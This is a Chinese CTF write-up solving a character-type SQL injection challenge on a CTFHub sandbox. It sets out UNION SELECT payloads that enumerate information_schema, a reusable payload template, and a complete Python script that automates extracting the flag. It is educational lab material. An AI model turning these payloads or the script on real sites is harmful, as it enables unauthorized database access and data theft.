Writeup 4 N1BOOK SQL注入-1
题目来源:N1BOOK 第一章 Web 入门 · CTF 中的 SQL 注入 · SQL 注入-1
考点:字符型 SQL 注入 · UNION 联合查询 · information_schema 系统库
最终 Flag:
n1book{union_select_is_so_cool}
一、题目信息
| 项目 | 内容 |
|---|---|
| 题目名称 | SQL注入-1 |
| 平台 | N1BOOK / CTFHub |
| 方向 | Web |
| 考点 | 字符型注入、UNION 联合查询、information_schema |
| 入口 | http://challenge-xxxx.sandbox.ctfhub.com:10800/index.php?id=1 |
页面是一个简单的 notes 应用,URL 里带一个 id 参数,这是最典型的注入入口。
二、第一步:怎么判断是字符型还是数字型
2.1 两种注入的本质区别
后端 SQL 语句大概是两种写法:
数字型:
sql
SELECT * FROM notes WHERE id = 1
这里 id=1 直接拼进去,没有引号包裹。
字符型:
sql
SELECT * FROM notes WHERE id = '1'
这里 id=1 被单引号包裹,是字符串。
所以判断的核心就是:参数到底有没有被引号包裹?
2.2 最经典的判断方法:加单引号
测试 1:id=1
http://.../index.php?id=1
页面正常显示笔记内容。这是基准。
测试 2:id=1'
http://.../index.php?id=1'
我们手动加一个单引号,看看会发生什么。
- 数字型 :SQL 变成
WHERE id = 1',单引号是多余的,SQL 语法错误,页面通常会报错或空白。 - 字符型 :SQL 变成
WHERE id = '1'',单引号被闭合了,又多了个单引号,SQL 语法错误,页面报错或空白。
两种类型都会报错,所以光加单引号还不够,需要下一步。
测试 3:id=1' --+
http://.../index.php?id=1' --+
--+ 是 SQL 注释符,把后面的内容注释掉。
- 数字型 :SQL 变成
WHERE id = 1' --+,单引号还是多余的,语法错误,页面还是报错。 - 字符型 :SQL 变成
WHERE id = '1' --+,单引号被闭合,后面被注释掉,语法正确,页面正常显示。
这一步就能区分了:
id=1' --+页面正常 → 字符型id=1' --+页面还是报错 → 数字型
2.3 本题的实际测试结果
| URL | 页面表现 | 说明 |
|---|---|---|
id=1 |
正常显示笔记 | 基准 |
id=1' |
内容为空,页面结构还在 | 单引号被代入 SQL,查询失败 |
id=1' --+ |
正常显示笔记 | 注释符生效,确认是字符型 |
id=1'# |
内容为空 | # 被过滤或没生效 |
结论:字符型注入,闭合符是 ',注释符是 --+。
2.4 为什么 # 不行,--+ 可以
# 和 -- 都是 MySQL 注释符,但:
#在 URL 里会被当成锚点,必须编码成%23,否则浏览器不会发送--后面必须跟一个空格或特殊字符 ,--+里的+在 URL 解码后就是空格,所以--+等价于--
所以 --+ 是最常用的注释符。
2.5 数字型的判断方法(补充)
如果 id=1' --+ 还是报错,说明是数字型。数字型不需要闭合引号,直接:
id=1 and 1=1 → 正常
id=1 and 1=2 → 内容为空
两个页面有差异,就确认是数字型注入。
2.6 判断流程总结
1. id=1 → 基准,正常
2. id=1' → 报错/空白
3. id=1' --+ → 正常 → 字符型
→ 报错 → 数字型
4. 数字型再测:id=1 and 1=1 / id=1 and 1=2
三、第二步:判断字段数
用 order by 判断查询结果有几列。
sql
id=1' order by 3 --+ → 正常
id=1' order by 4 --+ → 内容为空
order by 3正常 → 至少有 3 列order by 4报错 → 只有 3 列
结论:3 列。
四、第三步:找显位
用 union select 联合查询,把原查询结果置空(id=-1),看哪一列会显示在页面上。
sql
id=-1' union select 1,2,3 --+
页面显示:
html
<div class="header">2</div>
<p>3</p>
结论:第 2 列显示在 header,第 3 列显示在 <p>。
五、第四步:爆库名
sql
id=-1' union select 1,database(),3 --+
结果:note
六、第五步:爆表名
sql
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
结果:fl4g,notes
七、第六步:爆字段名
sql
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g' --+
结果:fllllag
八、第七步:爆 Flag
sql
id=-1' union select 1,2,group_concat(fllllag) from fl4g --+
结果:n1book{union_select_is_so_cool}
九、这类题目的通用套路
9.1 完整流程
1. 判断注入类型 → 字符型 / 数字型
2. 判断字段数 → order by N
3. 找显位 → union select 1,2,3...
4. 爆库名 → database()
5. 爆表名 → information_schema.tables
6. 爆字段名 → information_schema.columns
7. 爆数据 → 直接查目标字段
9.2 万能 Payload 模板
sql
-- 爆库名
-1' union select 1,database(),3 --+
-- 爆表名
-1' union select 1,2,group_concat(table_name)
from information_schema.tables
where table_schema=database() --+
-- 爆字段名
-1' union select 1,2,group_concat(column_name)
from information_schema.columns
where table_schema=database() and table_name='表名' --+
-- 爆数据
-1' union select 1,2,group_concat(字段名) from 表名 --+
9.3 关键函数
| 函数 | 作用 |
|---|---|
database() |
当前数据库名 |
user() |
当前数据库用户 |
version() |
数据库版本 |
group_concat() |
把多行结果拼成一行 |
information_schema.tables |
系统表,存所有表名 |
information_schema.columns |
系统表,存所有字段名 |
9.4 常见注释符
| 注释符 | 说明 |
|---|---|
--+ |
最常用,+ 解码后是空格 |
# |
需要 URL 编码成 %23 |
-- |
后面必须跟空格,URL 里要编码成 --%20 |
十、踩坑记录
10.1 requests 二次编码
现象 :脚本用 requests.get(URL, params={"id": payload}) 时,--+ 被编码成 --%2B,注释符失效,页面空白(报错)。
原因 :requests 的 params 会对 + 编码成 %2B,MySQL 不认 --%2B 这个注释符。
解决 :手动拼接 URL,不经过 requests 的 params:
python
url = f"{URL}?id={payload}"
r = requests.get(url, timeout=10)
10.2 # 注释符在 URL 里失效
现象 :id=1'# 页面内容为空(报错)。
原因 :# 在 URL 里是锚点,浏览器不会把它发给服务器。
解决 :用 %23 代替 #,或者直接用 --+。
十一、完整的爆破脚本
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""N1BOOK SQL注入-1 自动化爆破脚本"""
import requests
import re
URL = "http://challenge-f66e3d0a792f67c5.sandbox.ctfhub.com:10800/index.php"
def inject(payload):
url = f"{URL}?id={payload}"
try:
r = requests.get(url, timeout=10)
header = re.search(r'<div class="header">\s*(.*?)\s*</div>', r.text, re.S)
p = re.search(r'<p>(.*?)</p>', r.text, re.S)
header_text = header.group(1).strip() if header else ""
p_text = p.group(1).strip() if p else ""
return header_text, p_text
except Exception as e:
print(f"[!] 请求异常: {e}")
return "", ""
def main():
print("=" * 60)
print(" N1BOOK SQL注入-1 自动化爆破")
print("=" * 60)
print("\n[*] 正在爆库名...")
header, p = inject("-1' union select 1,database(),3 --+")
print(f"[+] 库名: {header}")
print("\n[*] 正在爆表名...")
header, p = inject(
"-1' union select 1,2,group_concat(table_name) "
"from information_schema.tables "
"where table_schema=database() --+"
)
print(f"[+] 表名: {p}")
print("\n[*] 正在爆 fl4g 表字段名...")
header, p = inject(
"-1' union select 1,2,group_concat(column_name) "
"from information_schema.columns "
"where table_schema=database() and table_name='fl4g' --+"
)
print(f"[+] 字段名: {p}")
print("\n[*] 正在爆 flag...")
header, p = inject(
"-1' union select 1,2,group_concat(fllllag) from fl4g --+"
)
print(f"[+] Flag: {p}")
if __name__ == "__main__":
main()
运行结果:
C:\Users\Administrator\AppData\Local\Programs\Python\Python314\python.exe exp.py
============================================================
N1BOOK SQL注入-1 自动化爆破
============================================================
[*] 正在爆库名...
[+] 库名: note
[*] 正在爆表名...
[+] 表名: fl4g,notes
[*] 正在爆 fl4g 表字段名...
[+] 字段名: fllllag
[*] 正在爆 flag...
[+] Flag: n1book{union_select_is_so_cool}
进程已结束,退出代码为 0
十二、Flag
n1book{union_select_is_so_cool}
十三、重点总结
判断字符型 vs 数字型,记住三句话
id=1'报错,id=1' --+正常 → 字符型id=1' --+还是报错 → 数字型- 数字型用
id=1 and 1=1/id=1 and 1=2验证
解这类题的固定套路
判断类型 → 判断列数 → 找显位 → 爆库 → 爆表 → 爆字段 → 爆数据
每一步都有对应的 Payload 模板,照着套就行。
最容易踩的坑
- 注释符 :优先用
--+,#要编码成%23 requests编码 :手动拼 URL,别用paramsunion select列数:必须和原查询列数一致id=-1:让原查询结果为空,页面只显示注入内容
搞懂这套流程,以后遇到类似的 SQL 注入题,直接套模板就能解。
Rambo
2026年10月05日
🎉🎉🎉